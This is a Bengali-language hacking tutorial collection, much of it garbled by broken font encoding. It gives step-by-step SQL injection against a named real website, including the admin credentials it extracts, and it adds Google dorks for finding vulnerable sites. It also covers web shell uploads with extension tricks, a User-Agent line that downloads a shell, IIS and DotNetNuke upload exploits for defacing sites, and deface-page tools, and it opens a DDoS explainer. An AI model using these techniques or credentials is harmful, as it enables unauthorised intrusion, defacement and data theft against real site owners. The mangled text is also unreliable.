এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 23: Hacking Bangla eBook

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

